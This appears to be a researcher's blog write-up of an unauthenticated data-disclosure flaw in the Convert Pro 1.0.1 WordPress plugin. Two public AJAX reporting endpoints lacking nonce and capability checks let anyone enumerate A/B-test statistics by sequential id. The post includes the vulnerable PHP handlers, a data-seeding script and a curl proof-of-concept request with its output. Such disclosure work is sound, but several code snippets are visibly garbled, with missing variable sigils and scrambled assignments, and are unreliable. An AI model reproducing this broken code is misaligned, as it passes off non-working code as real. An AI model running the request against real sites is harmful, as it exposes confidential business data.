Summary
Unauthenticated Disclosure of A/B Test Data in Convert Pro — How Two Forgotten AJAX Endpoints Leaked Every Split-Test on a Site This is a write-up of a vulnerability I independently discovered in Convert Pro (WordPress.org slug: convertpro ), an A/B testing and conversion-optimization plugin, in version 1.0.1. The bug allowed anyone on the internet, with no account and no authentication of any kind, to pull the full analytics of every A/B test a site was running or had ever run — test names, variation names, and complete view/conversion statistics — simply by requesting a URL with a sequential integer in it. I discovered this independently and reported it to WPScan the same day. WPScan came back with a duplicate: another researcher had already reported the same root cause, and it was already in their review queue. I’m publishing this write-up anyway, because the pattern behind the bug is one I think is worth understanding on its own, separate from who ends up with the CVE credit for it. Background: Why This Plugin My research methodology follows a fixed pipeline for every plugin I audit: export the trunk from the WordPress.org SVN repository, grep for every hook WordPress provides for exposing functionality externally (wp_ajax_ , wp_ajax_nopriv_ , register_rest_route , add_menu_page ), and manually trace each candidate against a strict checklist before touching a live environment. I don’t spin up a Docker proof-of-concept until static analysis has already found something real — testing dead ends wastes the one resource that actually matters in this kind of work: attention. Convert Pro came up in a batch of A/B-testing and conversion-optimization plugins I was working through. This category is worth paying attention to because it sits at an odd intersection: these plugins store genuinely business-sensitive configuration — pricing experiments, discount strategy, campaign names — but are frequently built by small teams who treat their internal AJAX layer as “just for our own dashboard,” rather than as a public attack surface that anyone can reach directly. Convert Pro registers a long list of AJAX actions in a single file, includes/function.php — creating tests, saving settings, running comparisons, fetching chart data for the admin dashboard. Most of them followed a consistent, correct pattern: check_ajax_referer() for CSRF protection. That consistency is exactly what made the two exceptions stand out immediately. Understanding the Architecture The plugin’s primary settings-save handler looked exactly like what you’d want to see in a well-built plugin: add_action(‘wp_ajax_convertpro_ajax_action’, ‘convertpro_ajax_request’); add_action(‘wp_ajax_nopriv_convertpro_ajax_action’, ‘convertpro_ajax_request’); function convertpro_ajax_request() { check_ajax_referer(‘convertpro_nonce’, ‘security’); // … } Nonce-gated, exactly as it should be — this handler runs on the frontend to record which variation a visitor saw, so it does need to be public, but at least it enforces a CSRF token before acting. Further down the same file, two other actions were registered with the identical wp_ajax_nopriv_ pattern, but their purpose was completely different: add_action(‘wp_ajax_convertpro_interactions_report_ajax’, ‘convertpro_interactions_report_ajax’); add_action(‘wp_ajax_nopriv_convertpro_interactions_report_ajax’, ‘convertpro_interactions_report_ajax’); add_action(‘wp_ajax_convertpro_get_chart_data’, ‘convertpro_get_chart_data’); add_action(‘wp_ajax_nopriv_convertpro_get_chart_data’, ‘convertpro_get_chart_data’); These aren’t visitor-tracking endpoints — they’re reporting endpoints. They read back the data the tracking endpoints write. And they were registered exactly as public as the tracking side, with no distinction between “anyone can tell us they saw a page” and “anyone can read our entire testing history.” The Vulnerability: Two Endpoints, Zero Gates Reading both function bodies confirmed the issue immediately. function convertpro_interactions_report_ajax() { if ( !isset( _GET['id'] ) ) return false; ob_start(); convertpro_interactions_report_html(); wp_send_json( ob_get_clean() ); } That’s the entire access check: does a GET parameter named id exist. No nonce verification. No current_user_can() . No check that the requested test belongs to anyone in particular — because there's no concept of "belongs to" being enforced at all. convertpro_interactions_report_html() pulls the test's variations through the plugin's internal repository class, then for each variation calls two helper functions: function convertpro_get_views(test_id, range = 7) { global table_name = views_query = “SELECT COUNT(*) FROM {table_name} WHERE splittest_id = %d AND variation_id = %d"; // range clause appended, then run through wpdb→prepare() return views_query); } function convertpro_get_conversion(variation_id, range = 7) { // identical shape, filtered to type = 'conversion' } These queries are properly parameterized — there’s no SQL injection here. That’s worth being precise about, because it would have been easy to assume the worst from unauthenticated database access; the actual issue is narrower and specific: the query itself is safe, but nothing upstream ever checks whether the caller is allowed to run it. The second function follows an identical shape: function convertpro_get_chart_data() { if (isset(_GET[‘range’])) { _GET[‘id’]) ? sanitize_text_field(wp_unslash(range = isset(_GET[‘range’])) : ”; test_id, range); // ... builds Chart.js-formatted datasets and returns them via wp_send_json() } } Same pattern: inputs are sanitized, the SQL is parameterized, and there is no authentication or authorization check anywhere in the call chain. Both handlers query three internal tables — the split-test definitions table, the variations table, and the interactions (views/conversions) table — and hand the results straight back to whoever asked, session or no session. Because test_id and variation_id are auto-increment integers assigned in creation order, an attacker doesn't need to guess or know anything specific about a target site. Requesting id=1 , id=2 , id=3 , and so on against admin-ajax.php enumerates every A/B test the site has ever configured, active or archived. Live Proof of Concept I reproduced this in a local Docker environment running WordPress with WooCommerce active and Convert Pro 1.0.1 installed. Get Shikhali Jamalzade’s stories in your inbox Join Medium for free to get updates from this writer. Setup: I seeded a realistic split-test directly through the plugin’s own database schema — a pricing-page discount test with two variations and simulated view/conversion traffic — to confirm the full data path end-to-end rather than just an empty-state response. wp eval ' global wpdb; wpdb→prefix.”convertpro”, array( “active” ⇒ 1, “name” ⇒ “Pricing Page Discount Test - Q3 Confidential”, “test_type” ⇒ “split”, “test_uri” ⇒ “/pricing”, “conversion_type” ⇒ “page”, “conversion_page_id” ⇒ 1, “created_at” ⇒ current_time(“mysql”), )); wpdb→insert_id; wpdb→prefix.”convertpro_variations”, array( “active” ⇒ 1, “name” ⇒ “Control (No Discount)”, “percentage” ⇒ 50, “splittest_id” ⇒ var1 = wpdb→insert(test_id, “created_at” ⇒ current_time(“mysql”), )); wpdb→insert_id;for (i<50; i++) { wpdb→insert(wpdb->prefix."convertpro_interactions", array( "client_id" => "client_i”, “type” ⇒ “view”, “splittest_id” ⇒ i % 2 == 0 ? var2), “created_at” ⇒ current_time(“mysql”), “updated_at” ⇒ current_time(“mysql”), )); } for (i<10; i++) { wpdb→insert(wpdb->prefix."convertpro_interactions", array( "client_id" => "client_conv_i”, “type” ⇒ “conversion”, “splittest_id” ⇒ i % 2 == 0 ? var2), “created_at” ⇒ current_time(“mysql”), “updated_at” ⇒ current_time(“mysql”), )); } ’ Exploit: no cookies, no login, no nonce — a bare, unauthenticated GET request. curl “http://TARGET/wp-admin/admin-ajax.php?action=convertpro_interactions_report_ajax&id=1” Response:
| Variation | Percentage | Views | Conversions | Conversion Rate |
|---|---|---|---|---|
| Control (No Discount) | 50 | 30 | 5 | 16% |
| Variant B (20% Off) | 50 | 30 | 5 | 16% |